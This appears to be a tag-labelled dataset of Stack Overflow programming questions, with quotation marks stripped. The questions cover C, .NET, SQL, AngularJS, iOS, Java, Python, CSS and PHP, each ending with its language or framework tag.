if  inside the  for  crashes the game - c language  here is a code: (whyerror1.exe)   <pre><code>#include &lt;stdio.h&gt; #include &lt;stdlib.h&gt; int i  n  health=100; int main(void) {     for (i=0; i&lt;1; i++)     {         printf( health: %d\n  health);         printf( there is meat on the ground.\n );         printf( will you eat it \n );         printf( 1: yes  2: no\n );          scanf( %d   n);         if(n==1) {                       system( cls );                       printf( ate it. \n );                       printf( there is no people  so it is safe to eat. \n );                       printf( health is increased.\n );                       system( pause&gt;nul );                       system( cls );                       }         else if(n==2) {                       system( cls );                       printf( didn t ate it. \n );                       printf( more hunger  less health. \n );                       system( pause&gt;nul );                       system( cls );                       }         else {                      printf( select between 1 and 2. \n );                      system( pause&gt;nul );                      system( cls );                      i=-1;         }     } } </code></pre>   result: whyerror1.exe stopped working. why is this happening  i already tried selecting other numbers. i tried any numbers! plz help!,c
error while installing the .net windowservice :the name is already in use as either a server or service name  i build a new window service on my machine and copy the whole proj to the server and try to install the window service on server machine . i dont install the service in my machine...    i get the following error :    an exception occurred during the install phase. system.componentmodel.win32exception: the name is already in use as either a se vice name or a service display name    but if i run install in my local machine it works.    is it because the project i have built in my machine and that service somehow get registered to my ip.    serivce name also i have kept it is unique.    any suggestions ppl,.net
query that selects every element of a type in a hierarchy  i have two database tables.     <pre><code>  table a              table b    continent text       city                text   country   text       citizen id (unique) int       city      text        </code></pre>   how do i write a query that will return a row for every city within a particular continent in the form of continent  country  city  and (number of citizens per city)     what if i wanted to restrict it further such as for every city within a particular continent and country     i m having trouble visualizing the query as something other than a series of nested for loops. i m kinda lost on how to join the tables in such a way where i can do a count of citizen id and get the necessary geographic restrictions. i apologize in advance if i m just being a bit dense.,sql
ios view controller communicate  hi i have a view controller a that deal with view a  and a view controller b for view b. now to go to view b when user click a button in view a,ios
change height of element when content changes   in a angularjs app  using ui-router  i want to change the height of an element (sidebar)  when the content inside the sidebar gets updated.    whats the best way to do this,angularjs
how to remove duplicate elements from one list and into another list in angularjs  i have scenerio that i have three list   <pre><code>1) $scope.edit.user </code></pre>   each value in user list contains  id   name   number  in the form of objects  . second list is   <pre><code>2) $scope.edit.duplicateuser </code></pre>   this list contains only ids ex: [12 13 14] in the form of array    if duplicateuser list contains some users which are present in user list then i want to splice that users objects from :   <pre><code>$scope.edit.user </code></pre>   and add into third list that is :   <pre><code>$scope.edit.intersectedusers = [] </code></pre>,angularjs
need help with css tabs & border color  i am trying to replicate the effect i see     <img src= https://imgur.com/6fshe.jpg  alt=  >    currently i have <a href= http://jsfiddle.net/gwkk3/  rel= nofollow noreferrer >http://jsfiddle.net/gwkk3/</a>    <img src= https://imgur.com/n6mfd.jpg  alt=  >    how can i remove the border between the active li and the 2nd level nav,css
get exact date time from x date time range  check the code bellow. in variable called-  lastupdatedat  i am getting standard date time. now my goal is i want to get the date time just 1 month back from this variable date. i already try to use datetime.now.addmonths method but problem is i cant input my custom variable date on this method. please tell me how can i get the date of 1 month back from that variable date  screen shot attached for better understanding. <a href= https://i.stack.imgur.com/tyhte.png  rel= nofollow noreferrer >see screen shot</a>    <pre><code>var lastupdatedat =  ctx.searchedusers.where(x =&gt; x.searcheduserid == item.searcheduserid).firstordefault().lastupdatedat; datetime.now.addmonths(1); </code></pre>,c#
c# run another program without copying .exe file  i have a program that runs another extern program by using the process.start()-method with the full path (like  c:\some\folders\here\externprogram.exe ).    the problem i have is that whenever i click the button that runs it  my program will copy that into the folder  that my program is in - and runs it there (like  d:\myprogram\externprogram.exe ). unfortuanally this extern program relies on other stuff being next to it and i don t want to copy that other stuff into my program folder too.    is there any way to run a program whereever it is instead of copying it,c#
counting different rows in a group by  i ve got a table listing  actions   where each action has a time and a person who performed it. what i d like is to know the count of distinct people who performed any action (doesn t matter which) each day. so my table looks like:   <pre><code>action_time         | person | action --------------------+--------+------- 2017-05-10 10:00:00 | john   | logged on 2017-05-10 10:30:00 | paul   | logged on 2017-05-10 17:50:00 | john   | logged off 2017-05-10 18:00:00 | paul   | logged off 2017-05-11 12:00:00 | john   | read email 2017-05-12 12:00:00 | john   | read email 2017-05-13 10:00:00 | john   | read email 2017-05-13 10:30:00 | paul   | read email 2017-05-13 10:45:00 | george | read email </code></pre>   and i d like to be able to get  as result   <pre><code>day        | count of people doing things -----------+----------------------------- 2017-05-10 | 2 (note: john and paul each did 2 different things; don t care) 2017-05-11 | 1 (note: john only) 2017-05-12 | 1 (note: john only) 2017-05-13 | 3 (note: john  paul  and george) </code></pre>   obviously i can <code>group by date(action_time)</code> (or some db-specific version; <code>group by strftime( %y-%m-%d   action_time)</code> in sqlite  etc)  and i can also group by <code>person</code> as well... but <code>select date(action_time)  count(person) from actions group by date(action_time)</code> gives <em>4</em> for the count of people doing things on the first day... i.e.  it s counting the number of rows  not the number of <em>people</em> (which is 2  not 4). i don t think i understand <code>count()</code> correctly. what should i be doing here,sql
how to trigger change event for angular ui-select directive for unit tests   i would like to test my code that uses an ui-select directive:   <pre><code>&lt;ui-select class= firstselect          ng-model= singlefilter.selectedfield           ng-disabled= vm.filterdisabled           on-select= vm.itemselected(singlefilter)                                theme= bootstrap &gt;         &lt;ui-select-match placeholder= ... &gt;               {{$select.selected.name}}&lt;/ui-select-match&gt;         &lt;ui-select-choices repeat= field in singlefilter.fields | filter: $select.search &gt;                     &lt;span ng-bind-html= field.name | highlight: $select.search &gt;&lt;/span&gt;       &lt;/ui-select-choices&gt; &lt;/ui-select&gt; </code></pre>   the question is: how can i trigger the change event on this control  when unit testing my code that uses this directive,angularjs
need html text shown as a link to work with an iframe  i have a page that contains an iframe element.  i want to have some text on the main page when clicked to change the iframe source.  i can do that with an  a href  tag but the main page resets to the top instead of where the user was last on the page vertically.  if i use an input type=button element  then it works just fine without resetting to the top of the main page.  however  i want the look of just text on the page (with an underline) instead of a button look.  how can i do this,html
java: passing arrays from another method  i have a project where i have four methods. the 2nd and 3rd methods (with  and without respectively) both have arrays in them where the user inputs data.    an example of the 2nd method is below. the 3rd is much like it   <pre><code>public static void billwithoutgardens() {     scanner input = new scanner(system.in);      double withoutgardens[] = new double[12];      system.out.println( please enter energy bills for year without rooftop gardens );     // 12 part array  one for each month     system.out.print( please enter energy bill for january:  );     withoutgardens [0] = input.nextdouble();     system.out.print( please enter energy bill for february:  );     withoutgardens [1] = input.nextdouble();     system.out.print( please enter energy bill for march:  );     withoutgardens [2] = input.nextdouble();     system.out.print( please enter energy bill for april:  );     withoutgardens [3] = input.nextdouble();     system.out.print( please enter energy bill for may:  );     withoutgardens [4] = input.nextdouble();     system.out.print( please enter energy bill for june:  );     withoutgardens [5] = input.nextdouble();     system.out.print( please enter energy bill for july:  );     withoutgardens [6] = input.nextdouble();     system.out.print( please enter energy bill for august:  );     withoutgardens [7] = input.nextdouble();     system.out.print( please enter energy bill for september:  );     withoutgardens [8] = input.nextdouble();     system.out.print( please enter energy bill for october:  );     withoutgardens [9] = input.nextdouble();     system.out.print( please enter energy bill for november:  );     withoutgardens [10] = input.nextdouble();     system.out.print( please enter energy bill for december:  );     withoutgardens [11] = input.nextdouble();      system.out.println(arrays.tostring(withoutgardens));       return; </code></pre>   i am trying to use the 4th method to calculate the difference between each of the elements of the 2 arrays. i do not know how to do this and after much searching around i am turning to the good folks at stackoverflow.    the 4th method is as such   <pre><code>public static void calculatesavings(double withoutgardens[]  double withgardens[]) {  } </code></pre>   is that the correct way to start out that method in order to achieve my goal of calculating difference     edit - how would i call the 4th method back into the main    <pre><code>calculatesavings(withoutgardens[]  withgardens[]); </code></pre>   that is how i have it as of now and i get errors on it that it  cannot be resolved to a variable .,java
change color of arabic diacritics in richtextbox c#  i m working on a c# project to diacritize the arabic texts and i need to show the arabic diacritics in different color in the richtextbox. i tried the following code but it does not work properly since it consider the diacritics as a part of the arabic letter:    <pre><code>for (int i = 0; i &lt; richtextbox1.text.length; i++) {     if (richtextbox1.text[i] ==  َ  || richtextbox1.text[i] ==  ً  || richtextbox1.text[i] ==  ُ || richtextbox1.text[i] ==  ٌ || richtextbox1.text[i] ==  ِ || richtextbox1.text[i] ==  ٍ || richtextbox1.text[i] ==  ّ || richtextbox1.text[i] ==  ْ )     {          richtextbox1.selectionstart = i;          richtextbox1.selectionlength = 1;          richtextbox1.selectioncolor = color.red;     } } </code></pre>,c#
nullpointerexception with self-implemented onclicklistener  sorry  but it seems like i m just all over the place with having various onclicklistener stuff not working for the past few days...    i have a listview of fixed various variables/data (contacts) that i m displaying  and for each listview item  i m using a separate xml file (<code>contacts_item</code>) to format/display this data. each item in the listview is either a phone contact or an email contact. i m trying to make it so that when one of these contacts is click  it ll start a phone call or bring up the new email. (focusing on the calling aspect for now  but what does that matter )    the snippet of the code from the main activity:   <pre><code>public void oncreate(bundle saveinstancestate) {     super.oncreate(saveinstancestate);     setcontentview(r.layout.contacts_layout);      // show  back  button     aboutbutton = (button) findviewbyid(r.id.aboutbutton);     aboutbutton.setonclicklistener(new onclicklistener() {         public void onclick(view v) {             contacts.this.finish();         }     });  listview listview = (listview) findviewbyid(r.id.contactitem); arraylist&lt;hashmap&lt;string  string&gt;&gt; items = new arraylist&lt;hashmap&lt;string  string&gt;&gt;(); // loop through 8 times for each contact entry for (int i = 0; i &lt; 8; i++) {         hashmap&lt;string  string&gt; entry = new hashmap&lt;string  string&gt;();         entry.put( title   title[i]);         entry.put( name   name[i]);         entry.put( label   label[i]); // call  mail  etc.         entry.put( info   info[i]); // the actual phone number or email          // check the label field of each entry         if (label[i].equals( call )) {             textlabel = (textview) findviewbyid(r.id.contactlabel); // contactlabel is from the separate xml file i mentioned             log.v( textlabel    textlabel:   + r.id.contactlabel);              // crashes here                           //textlabel.setonclicklistener(new contactocl(info[i]));         }          // let s see if all of this is printing out right         log.v( title    title:   + title[i]);         log.v( name    name:   + name[i]);         log.v( label    label:   + label[i]);         log.v( info    info:   + info[i]);          items.add(entry); }  listadapter adapter = new simpleadapter(contacts.this  items  r.layout.contacts_item  new string[] { title    name    label    info }              new int[] {r.id.contacttitle  r.id.contactname  r.id.contactlabel  r.id.contactinfo});      // create an inflater to use another xml layout (the facebook/twitter/instagram buttons)     layoutinflater inflater = (layoutinflater) getsystemservice(context.layout_inflater_service);     view footerview = inflater.inflate(r.layout.contacts_footer  null);      // define their clicks     facebookbutton = (imagebutton) footerview.findviewbyid(r.id.facebookbutton);     twitterbutton = (imagebutton) footerview.findviewbyid(r.id.twitterbutton);     instagrambutton = (imagebutton) footerview.findviewbyid(r.id.instagrambutton);      facebookbutton.setonclicklistener(new onclicklistener() {         public void onclick(view v) {             // open up the facebook page when clicked             facebookpage = new intent(android.content.intent.action_view);             facebookpage.setdata(uri.parse(facebookurl));             startactivity(facebookpage);         }     });      twitterbutton.setonclicklistener(new onclicklistener() {         public void onclick(view v) {             // open up the twitter page when clicked             twitterpage = new intent(android.content.intent.action_view);             twitterpage.setdata(uri.parse(twitterurl));             startactivity(twitterpage);         }     });      instagrambutton.setonclicklistener(new onclicklistener() {         public void onclick(view v) {             // open up the instagram page when clicked             instagrampage = new intent(android.content.intent.action_view);             instagrampage.setdata(uri.parse(instagramurl));             startactivity(instagrampage);         }     });      // add the footer to the listview  then set adapter     // must be called in this order!     listview.addfooterview(footerview);     listview.setadapter(adapter); </code></pre>   contactocl:   <pre><code>public class contactocl extends activity implements onclicklistener {     string contactinfo;     public contactocl(string contactinfo) {         this.contactinfo = contactinfo;     }      public void onclick(view v) {         try {             intent callintent = new intent(intent.action_call);             callintent.setdata(uri.parse( tel:  + contactinfo));             v.getcontext().startactivity(callintent);         } catch (activitynotfoundexception activityexception) {             log.e( calling a phone number    call failed   activityexception);         }     }  } </code></pre>   and here s the stack trace:   <pre><code>02-27 16:29:15.813: e/androidruntime(1025): fatal exception: main 02-27 16:29:15.813: e/androidruntime(1025): java.lang.runtimeexception: unable to start activity componentinfo{org.radio.app/org.radio.app.contacts}: java.lang.nullpointerexception 02-27 16:29:15.813: e/androidruntime(1025):     at android.app.activitythread.performlaunchactivity(activitythread.java:2059) 02-27 16:29:15.813: e/androidruntime(1025):     at android.app.activitythread.handlelaunchactivity(activitythread.java:2084) 02-27 16:29:15.813: e/androidruntime(1025):     at android.app.activitythread.access$600(activitythread.java:130) 02-27 16:29:15.813: e/androidruntime(1025):     at android.app.activitythread$h.handlemessage(activitythread.java:1195) 02-27 16:29:15.813: e/androidruntime(1025):     at android.os.handler.dispatchmessage(handler.java:99) 02-27 16:29:15.813: e/androidruntime(1025):     at android.os.looper.loop(looper.java:137) 02-27 16:29:15.813: e/androidruntime(1025):     at android.app.activitythread.main(activitythread.java:4745) 02-27 16:29:15.813: e/androidruntime(1025):     at java.lang.reflect.method.invokenative(native method) 02-27 16:29:15.813: e/androidruntime(1025):     at java.lang.reflect.method.invoke(method.java:511) 02-27 16:29:15.813: e/androidruntime(1025):     at com.android.internal.os.zygoteinit$methodandargscaller.run(zygoteinit.java:786) 02-27 16:29:15.813: e/androidruntime(1025):     at com.android.internal.os.zygoteinit.main(zygoteinit.java:553) 02-27 16:29:15.813: e/androidruntime(1025):     at dalvik.system.nativestart.main(native method) 02-27 16:29:15.813: e/androidruntime(1025): caused by: java.lang.nullpointerexception 02-27 16:29:15.813: e/androidruntime(1025):     at org.radio.app.contacts.oncreate(contacts.java:78) 02-27 16:29:15.813: e/androidruntime(1025):     at android.app.activity.performcreate(activity.java:5008) 02-27 16:29:15.813: e/androidruntime(1025):     at android.app.instrumentation.callactivityoncreate(instrumentation.java:1079) 02-27 16:29:15.813: e/androidruntime(1025):     at android.app.activitythread.performlaunchactivity(activitythread.java:2023) </code></pre>   textlabel is also printing out a few times  all of which are the same number/id...i m assuming that s a bad sign and not what i want. so i m not really sure if it s my implementation that s causing this to crash  or...,android
use of business logic layer in .net  i am new to 3-tier architecture.i am going through the google and found some samples.generally the database connection and methods are implemented for crud operations in data access layer only.and the input validations like required field validation are at presentation layer only.then why we need business logic layer.can tell me the one situation where business logic layer is most useful,.net
can t see background color css  the class called: codecontainer the background-color isn t being displayed. i think it s underneath the menu bar. however  how can i adjust the background-color or positioning so it s displayed     <a href= http://jsfiddle.net/5qd5bl7o/  rel= nofollow >http://jsfiddle.net/5qd5bl7o/</a>   <pre><code>&lt;div class= codecontainer  id= htmlcontainer &gt; ssd &lt;/div&gt;  &lt;style&gt; .codecontainer { background-color: blue; height: 100%; width: 50%;  float: left; } &lt;/style&gt; </code></pre>,css
infobip ios trouble with library  i need to implement <code>infobip</code> library <code>v2.0.0</code>  but i have a error when add this <code>[ibpushclient initializepush]</code> in my app delegate.    the error is:   <blockquote>    terminating app due to uncaught exception    nsinvalidargumentexception   reason:  -[__nsdictionarym   jsonrepresentation]: unrecognized selector sent to instance   </blockquote>,ios
can different classes be operated in python  like datetime added date   can different classes be operated in python   like datetime added/reduced date: datetime.datetime(2018 07 18) - datetime.date(2018 07 18),python
undefined offset trying to echo data from database  i am trying to echo out the number of agility that is set in the database. this is my current code  if you could check it out and see if there is anything i need to change to get it working. currently im getting the error    <blockquote>    notice: undefined offset: 0 in  </blockquote>  <pre><code>$dbserver =  localhost ; $dbusername =  root ; $dbpassword =  ******* ; $db     =  ******** ;  //create connection   $conn = new mysqli($dbserver  $dbusername  $dbpassword  $db); $id = $_session[ loggedin ]; $query =  select * from stats where id= $id  ; $stmt = mysqli_query($conn  $query); $result = mysqli_fetch_all($stmt mysqli_assoc);    &lt;div class= agility &gt;        &lt;h2&gt;agility&lt;/h2&gt;        &lt;p&gt;&lt; php echo $result[0][ agility ];  &gt;&lt;/p&gt;     &lt;/div&gt; </code></pre>,php
error:android-apt plugin is incompatible with the android gradle plugin. please use  annotationprocessor  <pre><code>apply plugin:  com.android.application  </code></pre>   apply plugin:  realm-android     android {     compilesdkversion 24     buildtoolsversion  26.0.2    <pre><code>defaultconfig {     applicationid  com.kolhapur.news      minsdkversion 14     targetsdkversion 24     versioncode 1     versionname  1.0  } buildtypes {     release {         minifyenabled false         proguardfiles getdefaultproguardfile( proguard-android.txt )   proguard-rules.pro      } } </code></pre>   }    /* important :  * be careful when update dependencies  different version library may caused error <em>/ dependencies {     compile filetree(dir:  libs   include: [ </em>.jar ])     testcompile  junit:junit:4.12      // google library     compile  com.android.support:appcompat-v7:24.1.1      compile  com.android.support:cardview-v7:24.1.1      compile  com.android.support:recyclerview-v7:24.1.1      compile  com.android.support:design:24.1.1      compile  com.android.support:support-v4:24.1.1      compile  com.google.android.gms:play-services-ads:9.2.1      compile  com.google.android.gms:play-services-analytics:9.2.1      compile  com.google.firebase:firebase-messaging:9.2.1    <pre><code>// library for api compile( com.squareup.retrofit2:retrofit:2.0.0-beta4 ) {     exclude module:  okhttp  }**strong text** compile  com.squareup.okhttp3:okhttp:3.2.0  compile  com.squareup.okhttp3:logging-interceptor:3.0.1  compile  com.squareup.retrofit2:converter-gson:2.1.0  compile  com.squareup.picasso:picasso:2.5.2   // ripple effect library compile  com.balysv:material-ripple:1.0.2  </code></pre>   }    apply plugin:  com.google.gms.google-services,android
semaphores not working on threads  i am trying to understand how <code>semaphores</code> work in <code>c++</code> but i am having some troubles.    here is my code:   <pre><code>  #include &lt;iostream&gt;   #include &lt;pthread.h&gt;   #include &lt;fcntl.h&gt;           /* for o_* constants */   #include &lt;sys/stat.h&gt;        /* for mode constants */   #include &lt;semaphore.h&gt;    using namespace std;    static sem_t *sem_thread;   static pthread_t thread_id;    void * threadfunc(void *) {      cout &lt;&lt;  threadfunc\n ;      cout &lt;&lt;  threadfunc\n ;      cout &lt;&lt;  threadfunc\n ;      cout &lt;&lt;  threadfunc\n ;      cout &lt;&lt;  threadfunc\n ;       sem_post(sem_thread);       return 0;   }    int main()   {      // init semaphores      sem_thread = sem_open( ./semaphores/sem_thread   o_trunc  0777  0);       // init thread      int rc = pthread_create(&amp;thread_id  null  threadfunc  null);      if (rc != 0)      {         cerr &lt;&lt;  pthread couldn t be created. rc=  &lt;&lt; rc &lt;&lt; endl;         abort();      }      sem_wait(sem_thread);       cout &lt;&lt;  main thread\n ;      cout &lt;&lt;  main thread\n ;      cout &lt;&lt;  main thread\n ;      cout &lt;&lt;  main thread\n ;      cout &lt;&lt;  main thread\n ;       sem_close(sem_thread);      sem_unlink( ./semaphores/sem_thread );       return 0;   } </code></pre>   so i expect the program to print <code>threadfunc</code> first and then <code>main thread</code>. however  this is what i get:   <pre><code>main thread tmhariena dtfhurneca dt hmraeiand ftuhnrce atdh rmeaaidnf utnhcr etahdr emaadifnu ntch rteharde adfunc </code></pre>   any idea of what s happening,c++
do i need to create of documentbuilderfactory everytime in this case   i need to update the news feeds  for every 5 minutes from a rss feed .    for this i have written a timertask as shown below    <pre><code>public class timertaskforallnews  {     public static void main( string[] args )     {         timertask task = new allnewsupdatrutility();         timer timer = new timer();         timer.schedule(task  1000 60000);     } } </code></pre>   this is my timertask implementation class    <pre><code>package com.util; import java.net.url; public class allnewsupdatrutility extends timertask {       private static allnewsupdatrutility instance = null;        public allnewsupdatrutility() {}        public static allnewsupdatrutility getinstance() {           if (instance == null)              instance = new allnewsupdatrutility();           return instance;        }     @override     public void run() {          try {              jsonarray latestnews = new jsonarray();              jsonobject jsonobj_allnews = new jsonobject();              documentbuilder builder = documentbuilderfactory.newinstance().newdocumentbuilder();              url url = new url( http://www.rssmix.com/u/8160628/rss.xml );              document doc = builder.parse(url.openstream());              nodelist items = doc.getelementsbytagname( item );             for (int i = 0; i &lt; items.getlength(); i++) {                 element item = (element) items.item(i);                 string title = getvalue(item   title );                 string link = getvalue(item   link );                 string pub_date = getvalue(item   pubdate );              } // for loop ends here             } catch (exception e) {              e.printstacktrace();           }     }   } </code></pre>   could you please let me know i can improve this program anyway,java
how to make a div to increase width and height by clicking a button   i am trying to get a button to make a div appear and also increase its height and width i got how to make the div increase in width but how do i get it to increase in height do i need another function like the one i have below for the height  and also how to add the button function in here.     please help i am pretty new to this    <pre><code>$(document).ready(function () {     $( #box ).click(function () {         $(this).animate({             width:  +=1250px          });     });      $( #box ).click(function () {         $(this).animate({             width:  -=1250px          });     }); }); </code></pre>,jquery
are line breaks allowed inside html tags   is it allowed to have a line break inside a html tag  for example:   <pre><code>&lt;h1 id= heading &gt; </code></pre>   a first test in chrome shows that this works  but is it specifically allowed by the spec and do all browsers (especially email clients) parse this correctly     and what about in attributes    <pre><code>&lt;h1  class= one two &gt; </code></pre>   in this case  will it be interpreted as a space     (this last case is not answered in the  possible duplicate question ),html
using form labels produces a different output than just displaying directly  i don t understand why this happens.     so if i have the following text:  a. this is an answer choice.  if i display this text like so:   <pre><code>&lt;%= ff.label :content  :value =&gt; answer.content %&gt; </code></pre>   the output is:      this is an answer choice     if i just simply do:     <pre><code>&lt;%= answer.content %&gt; </code></pre>   the output is:     a. this is an answer choice.      the latter is what i want  and i don t understand why this is occurring at all.,ruby-on-rails
python dynamic import methods from file  i have multiple files with a structure like a file <code>example.py</code>:   <pre><code>    def initialize(context):         pass       def daj_omacku_teplu(context  data):         pass       def hmataj_pomaly(context  data):         pass       def chvatni_paku(context  data):         pass       def mikaj_laktom(context  data):         pass </code></pre>   and i need to be able to dynamically import methods from  example.py  in a different python file like:   <pre><code>    for fn in os.listdir( . ):        if os.path.isfile(fn):            from fn import mikaj_laktom            mikaj_laktom(example_context  sample_data) </code></pre>   for multiple reasons  i can not change the structure of <code>example.py</code> so i need to make a mechanism to load methods and evaluate them. i tried to use <code>importlib</code> but it can only import a class  not file with only methods defined. thanks for the help.,python
timeout function if it takes too long to finish  i have a shell script that loops through a text file containing url:s that i want to visit and take screenshots of.    all this is done and simple. the script initializes a class that when run creates a screenshot of each site in the list. some sites take a very  very long time to load  and some might not be loaded at all. so i want to wrap the screengrabber-function in a timeout script  making the function return <code>false</code> if it couldn t finish within 10 seconds.    i m content with the simplest solution possible  maybe setting a asynchronous timer that will return false after 10 seconds no matter what actually happens inside the function,python
asp.net - get control in rowcommand event  trying to access a requiredfieldvalidator control that s inside a gridview in the rowcommand event and having trouble.    here s the partial gridview code:   <pre><code>&lt;asp:templatefield headertext= password &gt;     &lt;itemtemplate&gt;         &lt;asp:textbox id= txtpassword  runat= server  cssclass= gridviewtextbox  textmode= password  text= &lt;%#eval( webpassword ) %&gt;  enabled= false &gt;&lt;/asp:textbox&gt;     &lt;/itemtemplate&gt;     &lt;edititemtemplate&gt;         &lt;asp:textbox id= txtwebpassword  runat= server  textmode= password  text= &lt;%#eval( webpassword ) %&gt; &gt;&lt;/asp:textbox&gt;         &lt;asp:requiredfieldvalidator id= rfvpassword  runat= server  setfocusonerror= true              controltovalidate= txtwebpassword  display= none  errormessage= &lt;%# constants.strings.passwordrequired %&gt; &gt;&lt;/asp:requiredfieldvalidator&gt;     &lt;/edititemtemplate&gt;     &lt;footertemplate&gt;         &lt;asp:textbox id= txtaddwebpassword  runat= server  textmode= password &gt;&lt;/asp:textbox&gt;         &lt;asp:requiredfieldvalidator id= rfvaddpassword  runat= server  setfocusonerror= true              controltovalidate= txtaddwebpassword  display= none  errormessage= &lt;%# constants.strings.passwordrequired %&gt; &gt;&lt;/asp:requiredfieldvalidator&gt;     &lt;/footertemplate&gt; &lt;/asp:templatefield&gt; </code></pre>   as you can see  there s a rfv for the edittemplate and footertemplate.  my issue is this; when the page loads  it has all the records in it  including an emtpy row at the bottom (footer).  if i click edit on a populated row  the data is populated correctly  then when i hit update  i get all the error messages from the footer rfv s firing off  which isn t correct.  so  in the rowcommand event  i d like to attempt this:  if the user clicks the edit button  then disable all the rfv s in the footer row (the add new row)  if they click anything else  enable them.    ideas     sorry  meant to put this in the first time.  in the rowcommand event  i am able to find the control but when i set the properties to something bogus  it seems to get overridden later  by the rowdatabound event:   <pre><code>            requiredfieldvalidator rfv = (requiredfieldvalidator)gvusers.footerrow.findcontrol( rfvaddweblogin );             rfv.controltovalidate = string.empty;             rfv.errormessage =  sdfgsdfgsdgsdfgsdfgsdfgsdfg ;             rfv.enabled = false; </code></pre>,asp.net
str_to_date parsing of %b-%y  i need to parse date in the format jan-1980 to 1980-01-01 i.e. by adding the day as always being the first date of the indicated month.    how can i go about his,mysql
how to get cname of a domain in ios  i would like to resolve a domain and get its cname and ip info  like the following:    example.com -> cname.com -> ip address    i searched a lot and know how to get the ip address  e.g. by cfhost. but i still don t know how to get other information  like its cname.    should i do this with cfhost or something else,ios
java could not open/create prefs error  i am trying to get midi audio to play  but when ever i do this it keeps returning the error `   <pre><code>may 18  2014 10:23:29 am java.util.prefs.windowspreferences &lt;init&gt; warning: could not open/create prefs root node software\javasoft\prefs at root           0x80000002. windows regcreatekeyex(...) returned error code 5. </code></pre>   i have gone into <code>regedit</code> and my permissions are on <code>everyone</code>  but it just doesn t want to work.    code   <pre><code>import javax.sound.midi.instrument; import javax.sound.midi.midichannel; import javax.sound.midi.midisystem; import javax.sound.midi.midiunavailableexception; import javax.sound.midi.synthesizer;  public class sound {      public static void main(string args[]) throws midiunavailableexception {         int channel = 0;         int volume = 80;         int duration = 200;          synthesizer synth;         synth = midisystem.getsynthesizer();         synth.open();         midichannel[] channels = synth.getchannels();         channels[channel].noteon(60  volume); // c note         synth.close();     } } </code></pre>,java
is there a way to instantiate an aspx page and walk through it s control collection outside of a web request  some background on this question. i ve built a webapp inside of sharepoint that walks a user through a series of forms. each form is a asp.net page with a number of sharepoint and custom controls. as part of a new feature request(details not relevant here)  i need to know what fields are on each form. i m planning to maintain this data inside of a sharepoint list that other pieces of my code will access programatically.    rather than maintaining this list by hand  i d like to populate it in my deployment scripts (written in c#). what i m hoping is possible is the create a new page object for each one of my pages  and then walk through it s controls collection using some extension methods i ve already built to find out which fields are on each form. is there a good way to instantiate the page object in this context  to be completely specific  the deployment code runs inside of a sharepoint event receiver  but if you re not familiar with sharepoint  it would be similar trying to accomplish the same thing inside of a console app.,asp.net
render specific model id   i m looking to take an example of a model (in this case  <em>book</em>)  and render a specific instance of that model by id.    the model is just a basic scaffold generated model - usual <code>show</code> method;   <pre><code>def show     @book = book.find(params[:id])      respond_to do |format|       format.html # show.html.erb       format.json { render json: @book }     end   end </code></pre>   i m looking to embed an instance of this inside of the view:   <pre><code>&lt;div class= tab-pane active  id= tab1 &gt;     &lt;%= render :template  books/show   :book =&gt; 1 %&gt; &lt;/div&gt; </code></pre>   there s something i m doing wrong here  i can tell. but i don t know where to proceed from here! any help is really appreciated. i know i need to somehow pass the book id  but i can t figure out how to do that. thanks!,ruby-on-rails
displaying crystal report in a crystalreportviewer  please can anyone help me with this  i m trying to display crystal report in a crystalreportviewer and any time i try to run this code  it gives me    <blockquote>     no source available: the call stacks contain only external code   </blockquote>  <pre><code>        dim ds as new dataset1         dim adpter as new dataset1tableadapters.studentstableadapter         adpter.fill(ds.students)         dim report as new crystalreport2         report.setdatasource(ds)         crystalreportviewer1.reportsource = report </code></pre>,.net
border radius uiview use shadowpath  i want set border radius uiview use <code>shadowpath</code> to ensure performance not <code>cornerradius</code>.    <pre><code>self.testview.layer.shadowpath = [[uibezierpath bezierpathwithroundedrect:self.v.bounds cornerradius:20.0f] cgpath]; </code></pre>   but no change!    <img src= https://i.stack.imgur.com/9iuvu.png  alt= enter image description here >,ios
angular 1 $scope and controller as  when $scope died   since when exist  controller as   it s does not exist since angular 1.2   released end of 2013   why people   books   blogs and tutorials has written  code with $scope   still in 2015 2014       i ve seen people with 1 or 2 years experience using angular 1.1 or angular 1.2 programming style in 2015 and 2016   they were lost with angular 1.5  for example not using components.    jobs ask for angular just ask for  angular programmer    they know there are big differences people that use every one angular in a different way  by example using $scope  or just directives and  not components  or they dont use es2015 with babel     i ve never understood that. when really $scope died   if this question is not for stackoverflow  where i can post it,angularjs
python: what kind of syntax is it to use for after a statement in side a function   i saw a line of code to generate random string.   <pre><code>  .join(random.choice(string.ascii_uppercase + string.digits) for _ in range(n)) </code></pre>   i am not sure what type of usage is this and i cannot find it in python doc.    i try    <pre><code>random.choice(string.ascii_uppercase + string.digits) for _ in range(n) </code></pre>   but it says there s a syntax error,python
store images in ios app directory when install  i am writing an ios app which download images from a backend server  and store them in the document directory. i know how it is done.    but i need to write a prototype first  which use some pre-given images (not retrieve from the backend server). my question is  is it possible to store images in the document directory during initial installation of the app  i don t want to hardcode them in the bundle directory.    thanks,ios
how can i use jquery to change css that defines h2   i want to let the user tell me how h2 should style text.  i know that   <pre><code> $( h2 ).css({ color : red });  </code></pre>   will go through and change all the h2 tags to    <pre><code>&lt;h2 style= color: red; &gt;this is the header&lt;/h2&gt;  </code></pre>   but that doesn t change what a basic   <pre><code> &lt;h2&gt;something&lt;/h2&gt;  </code></pre>   looks like.  if i tell an rte  for example   to put h2 tags around something  i won t get the red style that jquery defined (most likely).     is there a way that jquery can change the css that defines the basic h2  so that the h2 set in by an rte reflects the new style      thanks,jquery
how to make fixed html box on side of webpage  very basic box   i just want a basic html box that is completely position to the left side of the webpage and overlays everything  and just to be a certain color with vertical text as demonstrated in this picture: <a href= http://postimg.org/image/l12q7hxqn/  rel= nofollow >http://postimg.org/image/l12q7hxqn/</a>    can this be done with html  i assume it would be a very basic code but i dont know what. if someone could make the code  i could figure out how to adjust the dimensions &amp; color.     thanks,html
